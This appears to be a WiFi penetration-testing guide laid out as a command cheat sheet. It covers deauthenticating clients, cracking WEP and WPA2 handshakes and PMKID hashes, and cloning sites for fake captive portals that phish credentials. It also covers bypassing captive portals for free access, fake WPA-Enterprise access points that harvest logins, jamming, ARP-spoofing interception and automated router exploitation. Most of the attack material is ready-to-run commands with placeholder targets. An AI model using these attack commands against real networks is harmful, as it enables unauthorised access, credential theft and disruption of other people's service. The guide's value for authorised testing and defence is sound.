Awesome
WiFi Penetration Testing Guide
Index
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2.1. Captive portals
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3.1. No clients
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4.1. Cracking the 4-way-handshake
4.2. PMKID attack
4.3. AP-less attack
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5.1. Fake Access Points
5.2. Brute force
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6.1. Krack Attack and Frag Attack
6.2. OSINT
6.3. Wifi Jamming
6.4. Other frameworks
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7.1. Attacking the router
7.2. Types of scanners
7.3. Spoofing
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<a name="1"></a>1. Basic commands
Set environment variable
VARIABLE=value
Check interface mode
iwconfig $IFACE
Check interface status
ifconfig $IFACE
Set monitor mode
airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up
List networks
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Set monitor mode
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Run Airodump-ng-ng
airodump-ng $IFACE -c $CHANNEL -e $ESSID
Deauthentication
- Only one client
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
- An Access Point (= all the clients in the AP)
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE
Get hidden SSID with clients
- List networks
List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.
- Deauthenticate
In another terminal, deauthenticate a client or all of them. When Airodump-ng captures a handshake from this network, the name or ESSID will appear in the first terminal:
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
Get hidden SSID without clients
- List networks
List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.
2.a. Execute a dictionary attack
mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH
2.b. Or execute a bruteforce attack
mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET
For the character set it is possible to use l (lowercase letters), u (uppercase letters), n (numbers), c (lowercase+uppercase), m (lowercase+uppercase+numbers) or a (all printed).
<br>
<a name="2"></a>2. Open networks
<a name="21"></a>2.1. Captive portals
2.1.1. Fake captive portals
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Clone a website using HTTrack
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Install Wifiphiser. Add the HTTrack result in a new folder in wifiphisher/data/phishing-pages/new_page/html and a configuration file in wifiphisher/data/phishing-pages/new_page/config.ini.
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Recompile the project using python setup.py install or the binary in bin.
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This command works correctly in the latest Kali release after installing hostapd:
cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE
<br>
2.1.2. Bypass 1: MAC spoofing
The first method to bypass a captive portal is to change your MAC address to one of an already authenticated user
- Scan the network and get the list of IP and MAC addresses. You can use:
- Change your IP and MAC addresses. You can use:
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macchanger
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A custom script like this(Bash)
Also, you can use scripts to automate the process like:
<br>2.1.3. Bypass 2: DNS tunnelling
A second method is creating a DNS tunnel. For this, it is necessary to have an accessible DNS server of your own. You can use this method to bypass the captive portal and get "free" Wifi in hotel, airports...
- Check the domain names are resolved:
nslookup example.com
- Create 2 DNS records (in Digital ocean, Afraid.org...):
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One "A record": dns.$DOMAIN pointing to the $SERVER_IP (Example: dns.domain.com 139.59.172.117)
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One "NS record": hack.$DOMAIN pointing to dns.$DOMAIN (Example: hack.domain.com dns.domain.com)
- Execution in the server
iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN
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Check if it works correctly in here
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Execution in the client
iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN
- Create the tunnel
ssh -D 8080 $USER@10.0.0.1
<br>
<a name="22"></a>2.2. Man in the Middle attack
Once you are in the network, you can test if it is vulnerable to Man in the Middle attacks.
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ARP Spoofing attack using Ettercap
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Sniff the traffic using Wireshark or TCPdump
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Analyze the traffic using PCredz (Linux) or Network Miner (Windows)
<br>
<a name="3"></a>3. WEP cracking
- Start capture
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
- Accelerate the IV capture using Fake authentication + Arp Request Replay Attack + Deauthenticate user. Stop Airodump at ~100.000 different IVs
aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
- Crack the password using Aircrack-ng
aircrack-ng $PCAP_FILE
<br>
<a name="4"></a>4. WPA2-PSK cracking
<a name="41"></a>4.1. Cracking the 4-way-handshake
- Start capture
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
- Deauthenticate an user. Stop airodump capture when you see a message 'WPA handshake: $MAC'
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
- Option 1: Crack the handshake using Aircrack-ng
aircrack-ng -w $WORDLIST capture.cap
You can get wordlists from here.
- Option 2: Crack the handshake using Pyrit
pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db
<br>
<a name="42"></a>4.2. PMKID attack
You can use this script or follow these steps:
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Install Hcxdumptool and Hcxtool (you can use this script).
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Stop Network Manager
airmon-ng check kill
3a. If you want to attack a specific MAC address
- Create a text file ($FILTER_FILE) and add the MAC address without ":". You can use sed and redirect the output to a file:
echo $MAC | sed 's/://g' > $FILTER_FILE
- Capture PMKID
hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2
- Create $HASH_FILE
hcxpcaptool -z $HASH_FILE $PCAPNG_FILE
The structure of each line is: PMKID * ROUTER MAC * STATION * ESSID (check at: https://www.rapidtables.com/convert/number/hex-to-ascii.html)
- Crack it using Hashcat (option 16800)
hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force
<br>
<a name="43"></a>4.3. AP-less attack
If you have access to a client device with the Wifi connection turned on but there is not a network around, you can still attack that network if the client devices has previously connected to it.
For that, you have to create a Fake Access Point using hostpad with a configuration file like this one, with any password but the same network name. Create the fake network, the client device will try to connect to it and you get the 4-way handshake as in the 4.1 section in this guide.
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5. <a name="5"></a> WPA2-Enterprise
5.1 <a name="51"></a>Fake Access Points
Virtual machines download
Operating system | Platform | Credentials | Size | Link |
---|---|---|---|---|
Ubuntu 16.04.5 | VMware | ricardojoserf:wifi | 3.25 GB | MEGA |
Kali 2019.1 | VMware | root:wifi | 4.99 GB | MEGA |
Ubuntu 16.04.5 | VirtualBox (OVA) | ricardojoserf:wifi | 3.18 GB | MEGA |
Kali 2019.1 | VirtualBox (OVA) | root:wifi | 5.56 GB | MEGA |
Local installation
In case you do not want to use the virtual machine, you can install everything using:
git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack
cd WPA_Enterprise_Attack && sudo sh install.sh
Hostapd & Freeradius-wpe
Start the Access Point using:
sh freeradius_wpe_init.sh $AP_NAME $INTERFACE
When a client connects, read logs with:
sh freeradius_wpe_read.sh
Hostapd-wpe
sh hostapd_wpe_init.sh $AP_NAME $INTERFACE
5.2 <a name="52"></a>Brute force
5.3 <a name="53"></a>EAP methods supported
Find supported EAP methods
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<a name="6"></a>6. Other attacks
<a name="61"></a>6.1. Krack Attack and Frag Attack
These are two advanced attacks discovered by the great Mathy Vanhoef:
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Krack Attack Scripts - Explained in this website
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Frag Attack Scripts - Explained in this website
<a name="62"></a>6.2. OSINT
<a name="63"></a>6.3. Wifi Jamming
- Wifijammer - This program can send deauthentication packets to both APs and clients.
An example to deauthenticate all the devices except a Fake Acess Point:
sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC
<a name="64"></a>6.4. Other frameworks
Linux:
- Sniffair
- Wifi Pumpkin - Framework for Rogue WiFi Access Point Attack
- Eaphammer - Framework for Fake Access Points
- WEF - Framework for different types of attacks for WPA/WPA2 and WEP, automated hash cracking and more
Windows:
- Acrylic - Useful for recon phase
- Ekahau - Useful for Wi-Fi planning
- Vistumbler - Useful for wardriving
<br>
<a name="7"></a>7. Post-exploitation
Once you are connected to the network
<a name="71"></a>7.1. Attacking the router
- Routersploit - Exploitation Framework for Embedded Devices - Test "use scanners/autopwn"
<a name="72"></a>7.2. Types of scanners
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Nmap/Zenmap - Security Scanner, Port Scanner, & Network Exploration Tool
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Masscan - The faster version of nmap (it can break things, so be careful)
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Netdiscover - ARP sniffing. Very useful if the networks are very well segmented
<a name="73"></a>7.3. Spoofing
- Ettercap - Check if you can do a MitM attack and sniff all the traffic in the network